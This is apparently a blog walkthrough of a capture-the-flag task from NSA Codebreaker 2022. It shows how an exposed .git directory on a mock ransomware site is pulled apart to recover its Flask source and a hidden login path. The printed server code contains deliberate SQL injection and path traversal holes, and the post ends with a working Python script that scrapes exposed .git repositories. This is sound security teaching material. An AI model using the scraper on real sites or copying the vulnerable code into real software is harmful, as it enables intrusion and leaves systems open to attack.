blog team

Task B2 of NSA Codebreaker 2022

Robert Jamison

 | 

09 Dec 2022


Task B2 - Getting Deeper - (Web Hacking, Git)

It looks like the backend site you discovered has some security features to prevent you from snooping. They must have hidden the login page away somewhere hard to guess.

Analyze the backend site, and find the URL to the login page.

Hint: this group seems a bit sloppy. They might be exposing more than they intend to.

Warning: Forced-browsing tools, such as DirBuster, are unlikely to be very helpful for this challenge, and may get your IP address automatically blocked by AWS as a DDoS-prevention measure. Codebreaker has no control over this blocking, so we suggest not attempting to use these techniques.

Prompt:

Finding Vulnerabilities

NOTE: I spent a lot of effort on understanding connect.js, but I won’t cover that file here since it is not relevant to this task or any other.

Analyze the backend site…

This statement in the prompt clearly states that we need to analyze the backend site, not the front-end that the user would see. Unfortunately, I missed this detail and burned an extra two days on analysis.

Using the domain we found in Task B1, let’s try to access their home page at https://wrfbgtsocesalacv.ransommethis.net/.

Ransom Home Page

It looks like there is a permissions issue. Let’s try looking at the page using Google Chrome’s Developer Tools. To open Developer Tools, right click anywhere on the webpage and select Inspect. Once we open the Developer Tools, we can select the Network tab and refresh the page to load all the dynamic and static source content.

Ransom Dev Tools

They might be exposing more than they intend to.

Most of the time, information exposure is linked to data attributes in the server’s response headers or content. This could be an e-tag, cookie, or a vulnerable server version. Let’s review the Headers tab first and see if there are any potential vulnerabilities:

Request URL: https://wrfbgtsocesalacv.ransommethis.net/
Request Method: GET
Status Code: 403
Remote Address: 52.207.129.222:443
Referrer Policy: strict-origin-when-cross-origin
content-length: 412
content-type: text/html; charset=utf-8
date: Sun, 23 Oct 2022 17:12:34 GMT
server: nginx/1.23.1
x-git-commit-hash: 0e3c84bf5b4266c0e54352a932cc9f7d00533992
:authority: wrfbgtsocesalacv.ransommethis.net
:method: GET
:path: /
:scheme: https
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
accept-encoding: gzip, deflate, br
accept-language: en-US,en;q=0.9
cache-control: no-cache
dnt: 1
pragma: no-cache
sec-ch-ua: "Chromium";v="106", "Google Chrome";v="106", "Not;A=Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
sec-fetch-dest: document
sec-fetch-mode: navigate
sec-fetch-site: none
sec-fetch-user: ?1
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36

Three items pop out at me:

Checking for nginx Vulnerabilities

We can start by checking the NVD for a known exploit. I used Advanced Search, which allows you to query Common Platform Enumeration (a fancy term for specific softwares / versions). My search is rapidly halted by the fact that there are zero vulnerabilities linked to version 1.23 of nginx.

No Vulnerabilities

This means we can move to the next item of interest – git.

Checking for git Vulnerabilities

If the git hash is showing on the homepage, we could assume that other information from the git is exposed (and possibly in the same directory as the webpage). After some help from the git Documentation and a git Tutorial, I created my own git using the following commands:

INPUT:

mkdir test-git
cd test-git
git init

OUTPUT:

Initialized empty Git repository in /Users/robertjamison/Desktop/test-git/.git/

Looks like our test git created a new repository in a hidden folder called .git. Let’s check the contents. If we’re lucky, there are some files that come standard with git.

INPUT:

cd .git
ls -alR

OUTPUT:

total 24
drwxr-xr-x   9 robertjamison  staff  288 Oct 23 14:45 .
drwxr-xr-x   3 robertjamison  staff   96 Oct 23 14:45 ..
-rw-r--r--   1 robertjamison  staff   21 Oct 23 14:45 HEAD
-rw-r--r--   1 robertjamison  staff  137 Oct 23 14:45 config
-rw-r--r--   1 robertjamison  staff   73 Oct 23 14:45 description
drwxr-xr-x  15 robertjamison  staff  480 Oct 23 14:45 hooks
drwxr-xr-x   3 robertjamison  staff   96 Oct 23 14:45 info
drwxr-xr-x   4 robertjamison  staff  128 Oct 23 14:45 objects
drwxr-xr-x   4 robertjamison  staff  128 Oct 23 14:45 refs

./hooks:
total 120
drwxr-xr-x  15 robertjamison  staff   480 Oct 23 14:45 .
drwxr-xr-x   9 robertjamison  staff   288 Oct 23 14:45 ..
-rwxr-xr-x   1 robertjamison  staff   478 Oct 23 14:45 applypatch-msg.sample
-rwxr-xr-x   1 robertjamison  staff   896 Oct 23 14:45 commit-msg.sample
-rwxr-xr-x   1 robertjamison  staff  4726 Oct 23 14:45 fsmonitor-watchman.sample
-rwxr-xr-x   1 robertjamison  staff   189 Oct 23 14:45 post-update.sample
-rwxr-xr-x   1 robertjamison  staff   424 Oct 23 14:45 pre-applypatch.sample
-rwxr-xr-x   1 robertjamison  staff  1643 Oct 23 14:45 pre-commit.sample
-rwxr-xr-x   1 robertjamison  staff   416 Oct 23 14:45 pre-merge-commit.sample
-rwxr-xr-x   1 robertjamison  staff  1374 Oct 23 14:45 pre-push.sample
-rwxr-xr-x   1 robertjamison  staff  4898 Oct 23 14:45 pre-rebase.sample
-rwxr-xr-x   1 robertjamison  staff   544 Oct 23 14:45 pre-receive.sample
-rwxr-xr-x   1 robertjamison  staff  1492 Oct 23 14:45 prepare-commit-msg.sample
-rwxr-xr-x   1 robertjamison  staff  2783 Oct 23 14:45 push-to-checkout.sample
-rwxr-xr-x   1 robertjamison  staff  3650 Oct 23 14:45 update.sample

./info:
total 8
drwxr-xr-x  3 robertjamison  staff   96 Oct 23 14:45 .
drwxr-xr-x  9 robertjamison  staff  288 Oct 23 14:45 ..
-rw-r--r--  1 robertjamison  staff  240 Oct 23 14:45 exclude

./objects:
total 0
drwxr-xr-x  4 robertjamison  staff  128 Oct 23 14:45 .
drwxr-xr-x  9 robertjamison  staff  288 Oct 23 14:45 ..
drwxr-xr-x  2 robertjamison  staff   64 Oct 23 14:45 info
drwxr-xr-x  2 robertjamison  staff   64 Oct 23 14:45 pack

./objects/info:
total 0
drwxr-xr-x  2 robertjamison  staff   64 Oct 23 14:45 .
drwxr-xr-x  4 robertjamison  staff  128 Oct 23 14:45 ..

./objects/pack:
total 0
drwxr-xr-x  2 robertjamison  staff   64 Oct 23 14:45 .
drwxr-xr-x  4 robertjamison  staff  128 Oct 23 14:45 ..

./refs:
total 0
drwxr-xr-x  4 robertjamison  staff  128 Oct 23 14:45 .
drwxr-xr-x  9 robertjamison  staff  288 Oct 23 14:45 ..
drwxr-xr-x  2 robertjamison  staff   64 Oct 23 14:45 heads
drwxr-xr-x  2 robertjamison  staff   64 Oct 23 14:45 tags

./refs/heads:
total 0
drwxr-xr-x  2 robertjamison  staff   64 Oct 23 14:45 .
drwxr-xr-x  4 robertjamison  staff  128 Oct 23 14:45 ..

./refs/tags:
total 0
drwxr-xr-x  2 robertjamison  staff   64 Oct 23 14:45 .
drwxr-xr-x  4 robertjamison  staff  128 Oct 23 14:45 ..

It looks like the files HEAD, config, and description come standard in every git repository. Let’s see if the HEAD file is present on the server by trying https://wrfbgtsocesalacv.ransommethis.net/.git/HEAD.

Trying git HEAD

Success!!! Looks like we’ve found our exploit.

Exploiting the git

Now that we know the structure of a traditional git repository, let’s begin downloading the essential files. Here are the links I used to download the HEAD, config, and description files:

The contents of HEAD seems to point to another file as well:

# INPUT
cat .git/HEAD
# OUTPUT
ref: refs/heads/main

Let’s download that file too.

When we open the file, all it contains is some sort of hash:

# INPUT
cat .git/refs/heads/main
# OUTPUT
0e3c84bf5b4266c0e54352a932cc9f7d00533992

Based on the documentation git uses hashes to identify commits made by the developer(s) – very similarly to GitHub. It looks like git creates a folder under objects with the first two characters of the hash (e.g. 0e). It then creates the commit named with the remaining hash characters (e.g. 3c84bf5b4266c0e54352a932cc9f7d00533992). Let’s see if we can grab that commit file.

git Object

It worked!!! When we read the contents of the file, we get a bunch of binary garbage:

Binary Garbage

Trees for Days

There is a useful command in the documentation called git cat-file. It allows you to see tree and file data within each commit. Let’s try to read the file and find out more about the commit:

# INPUT
git cat-file -p 0e3c84bf5b4266c0e54352a932cc9f7d00533992
# OUTPUT
tree 2fb93cb59e177515490536ea4e46664e56902414
author Ransom Me This <root@ransommethis.net> 1657580052 +0000
committer Ransom Me This <root@ransommethis.net> 1659589982 +0000

Initial import

Looks like there is another important commit at 2fb93cb59e177515490536ea4e46664e56902414. Let’s download it and check its contents too:

# INPUT
git cat-file -p 2fb93cb59e177515490536ea4e46664e56902414
# OUTPUT
100755 blob fc46c46e55ad48869f4b91c2ec8756e92cc01057	Dockerfile
100755 blob dd5520ca788a63f9ac7356a4b06bd01ef708a196	Pipfile
100644 blob 47709845a9b086333ee3f470a102befdd91f548a	Pipfile.lock
040000 tree 474cc9545fd20cf726e0ab6451532e880e5f09d4	app

The tree at 474cc9545fd20cf726e0ab6451532e880e5f09d4 looks very interesting. Let’s download that and see what is in it.

# INPUT
git cat-file -p 474cc9545fd20cf726e0ab6451532e880e5f09d4
# OUTPUT
100755 blob e69de29bb2d1d6434b8b29ae775ad8c2e48c5391	__init__.py
100644 blob c44a9accf51c1100d3713adf9e49a7e2082ce247	server.py
040000 tree b74c07f2fa23cffe19ef8af211a820f26094a53b	templates
100644 blob e89e78b84637886f85beb8725b890aed611643a1	util.py

The python script named server.py looks very important. Let’s try reading it as well.

git cat-file -p c44a9accf51c1100d3713adf9e49a7e2082ce247 > server.py

Let’s view the Python file:

#!/usr/bin/env python

from datetime import datetime
from flask import Flask, jsonify, render_template, request, redirect, make_response, send_file, send_from_directory
from flask_bootstrap import Bootstrap
from os.path import realpath, exists
from . import util
import json
import os
import random
import subprocess
import sys



app = Flask(__name__)
Bootstrap(app)

def expected_pathkey():
	return "fwjvwewwfiqfvfgp"

def forum():
	return render_template('forum.html')


def userinfo():
	""" Create a page that displays information about a user """			
	query = request.values.get('user')
	if query == None:
		query =  util.get_username()
	userName = memberSince = clientsHelped = hackersHelped = contributed = ''
	with util.userdb() as con:
		infoquery= "SELECT u.memberSince, u.clientsHelped, u.hackersHelped, u.programsContributed FROM Accounts a INNER JOIN UserInfo u ON a.uid = u.uid WHERE a.userName='%s'" %query
		row = con.execute(infoquery).fetchone()
		if row != None:
			userName = query
			memberSince = int(row[0])
			clientsHelped = int(row[1])
			hackersHelped = int(row[2])
			contributed = int(row[3])
	if memberSince != '':
		memberSince = datetime.utcfromtimestamp(int(memberSince)).strftime('%Y-%m-%d')
	resp = make_response(render_template('userinfo.html',
		userName=userName,
		memberSince=memberSince,
		clientsHelped=clientsHelped,
		hackersHelped=hackersHelped,
		contributed=contributed,
		pathkey=expected_pathkey()))
	return resp


def navpage():
	return render_template('home.html')

def loginpage():
	if request.method == 'POST':
		cookie = util.login(request.form['username'], request.form['password'])
		if cookie is None:
			# Invalid login
			return render_template('login.html', message="Invalid login, please try again.")
		resp = make_response(redirect(f"/{expected_pathkey()}"), 302)
		resp.set_cookie('tok', cookie)
	return render_template('login.html', message="")

def adminlist():
	""" Generate the list of current admins.
	 	This page also shows former admins, for the sake of populating the page with more text. """
	with util.userdb() as con:
		adminlist = [row[0] for row in con.execute("SELECT userName FROM Accounts WHERE isAdmin = 1")]			
		return render_template('adminlist.html',adminlist=adminlist)

def admin():
	return render_template('admin.html')

def fetchlog():
	log = request.args.get('log')
	return send_file("/opt/ransommethis/log/" + log)

def lock():
	if request.args.get('demand') == None:
		return render_template('lock.html')
	else:
		cid = random.randrange(10000, 100000)
		result = subprocess.run(["/opt/keyMaster/keyMaster",
								 'lock',
								 str(cid),
								 request.args.get('demand'),
								 util.get_username()],
								 capture_output=True, check=True, text=True, cwd="/opt/keyMaster/")
		jsonresult = json.loads(result.stdout)
		if 'error' in jsonresult:
			response = make_response(result.stdout)
			response.mimetype = 'application/json'
			return response

		with open("/opt/ransommethis/log/keygeneration.log", 'a') as logfile:
			print(f"{datetime.now().replace(tzinfo=None, microsecond=0).isoformat()}\t{util.get_username()}\t{cid}\t{request.args.get('demand')}", file=logfile)
		return jsonify({'key': jsonresult['plainKey'], 'cid': cid})

def unlock():
	if request.args.get('receipt') == None:
		return render_template('unlock.html')
	else:
		result = subprocess.run(["/opt/keyMaster/keyMaster",
								 'unlock',
								 request.args.get('receipt')],
								capture_output=True, check=True, text=True, cwd="/opt/keyMaster/")
		response = make_response(result.stdout)
		response.mimetype = 'application/json'
		return response

def credit():
	args = None
	if request.method == "GET":
		args = request.args
	elif request.method == "POST":
		args = request.form
	if args.get('receipt') == None or args.get('hackername') == None or args.get('credits') == None:
		# Missing a required argument
		return jsonify({"error": "missing argument"}), 400
	result = subprocess.run(["/opt/keyMaster/keyMaster",
							'credit',
							args.get('hackername'),
							args.get('credits'),
							args.get('receipt')],
							capture_output=True, check=True, text=True, cwd="/opt/keyMaster")
	response = make_response(result.stdout)
	response.mimetype = 'application/json'
	return response

# API for payment site
@app.route("/demand")
def demand():
	d = dict()
	with util.victimdb() as con:
		row = con.execute('SELECT dueDate, Baddress, pAmount FROM Victims WHERE cid = ?', (request.args.get('cid'),)).fetchone()
		if row is not None:
			d['exp_date'] = row[0]
			d['address'] = row[1]
			d['amount'] = row[2]
	resp = jsonify(d)
	resp.headers.add('Access-Control-Allow-Origin', '*')
	return resp


@app.route("/", defaults={'pathkey': '', 'path': ''}, methods=['GET', 'POST'])
@app.route("/<path:pathkey>", defaults={'path': ''}, methods=['GET', 'POST'])
@app.route("/<path:pathkey>/<path:path>", methods=['GET', 'POST'])
def pathkey_route(pathkey, path):
	if pathkey.endswith('/'):
		# Deal with weird normalization
		pathkey = pathkey[:-1]
		path = '/' + path

	# Super secret path that no one will ever guess!
	if pathkey != expected_pathkey():
		return render_template('unauthorized.html'), 403
	# Allow access to the login page, even if they're not logged in
	if path == 'login':
		return loginpage()
	# Check if they're logged in.
	try:
		uid = util.get_uid()
	except util.InvalidTokenException:
		return redirect(f"/{pathkey}/login", 302)

	# At this point, they have a valid login token
	if path == "":
		return redirect(f"/{pathkey}/", 302)
	elif path == "/" or path == 'home':
		return navpage()
	elif path == 'adminlist':
		return adminlist()
	elif path == 'userinfo':
		return userinfo()
	elif path == 'forum':
		return forum()
	elif path == 'lock':
		return lock()
	elif path == 'unlock':
		return unlock()
	# Admin only functions beyond this point
	elif path == 'admin':
		return util.check_admin(admin)
	elif path == 'fetchlog':
		return util.check_admin(fetchlog)
	elif path == 'credit':
		return util.check_admin(credit)
	# Default
	return render_template('404.html'), 404

Based on this script, it looks like the login directory has a prefix URI before it generated by the function expected_pathkey(). Let’s try recreating the path:

Login Screen

Looks like we found the login screen! When we submit the URL on the NSA Codebreaker website, we get a green banner. Success!!!

Task B2 Success

BEFORE YOU GO: Don’t forget to git cat-file the rest of the files from the git repository. You’ll need them later!

[EXTRA] Other git Enumeration Techniques

When we read back through the git Documentation, we find that the index file is a way of enumerating all the commits. It only shows up in repositories with a commit, which we didn’t do in our earlier test. Let’s see if the index file is present in this commit.

Looks like we found it.

Let’s try a command I found that lets us enumerate the index contents and find all the other commit files:

# INPUT
git ls-files --stage
# OUTPUT
100755 fc46c46e55ad48869f4b91c2ec8756e92cc01057 0	Dockerfile
100755 dd5520ca788a63f9ac7356a4b06bd01ef708a196 0	Pipfile
100644 47709845a9b086333ee3f470a102befdd91f548a 0	Pipfile.lock
100755 e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 0	app/__init__.py
100644 c44a9accf51c1100d3713adf9e49a7e2082ce247 0	app/server.py
100755 a844f894a3ab80a4850252a81d71524f53f6a384 0	app/templates/404.html
100644 1df0934819e5dcf59ddf7533f9dc6628f7cdcd25 0	app/templates/admin.html
100644 b9cfd98da0ac95115b1e68967504bd25bd90dc5c 0	app/templates/admininvalid.html
100644 bb830d20f197ee12c20e2e9f75a71e677c983fcd 0	app/templates/adminlist.html
100644 5033b3048b6f351df164bae9c7760c32ee7bc00f 0	app/templates/base.html
100644 10917973126c691eae343b530a5b34df28d18b4f 0	app/templates/forum.html
100644 fe3dcf0ca99da401e093ca614e9dcfc257276530 0	app/templates/home.html
100644 779717af2447e24285059c91854bc61e82f6efa8 0	app/templates/lock.html
100644 0556cd1e1f584ff5182bbe6b652873c89f4ccf23 0	app/templates/login.html
100644 56e0fe4a885b1e4eb66cda5a48ccdb85180c5eb3 0	app/templates/navbar.html
100755 ed1f5ed5bc5c8655d40da77a6cfbaed9d2a1e7fe 0	app/templates/unauthorized.html
100644 c980bf6f5591c4ad404088a6004b69c412f0fb8f 0	app/templates/unlock.html
100644 470d7db1c7dcfa3f36b0a16f2a9eec2aa124407a 0	app/templates/userinfo.html
100644 e89e78b84637886f85beb8725b890aed611643a1 0	app/util.py

Badge:

Badge B2

BONUS: Automated Script

Here is a super fast way to exploit this task:

#!/usr/bin/env python3

import os
import git
import requests

class GitScraper:

    def __init__(self, repo_dir, url):
        self.git_files = ["HEAD", "config", "description", "index"]
        self.repo_dir = repo_dir
        self.url = url
        self.git_dir = os.path.join(self.repo_dir, ".git")
        self.repo = git.Repo.init(self.repo_dir)

    def getBlobs(self):
        self.git = git.Git(self.repo_dir)
        self.blobs = []

        for file in self.git_files:
            self.getFile(file)

        for (file, _stage), entry in self.repo.index.entries.items():
            hash = entry[1].hex()
            path = "objects/" + hash[:2] + "/" + hash[2:]
            self.blobs.append({
                "hash" : hash,
                "file" : file,
                "path" : path
            })
            print(file)
            self.getFile(path)
            self.saveFile(self.git.cat_file("-p", hash), self.repo_dir + "/" + file)

    def getFile(self, file):
        response = requests.get(self.url + ".git/" + file)
        full_path = os.path.join(self.git_dir, file)
        self.saveFile(response.content, full_path)

    def saveFile(self, content, path):
        directory = os.path.dirname(path)
        if not os.path.exists(directory) and directory != "":
            os.mkdir(directory)
        if isinstance(content, str):
            open(path, "w").write(content)
        else:
            open(path, "wb").write(content)

def main():
    scraper = GitScraper("repo", "https://wrfbgtsocesalacv.ransommethis.net/")
    scraper.getBlobs()

if __name__ == "__main__":
    main()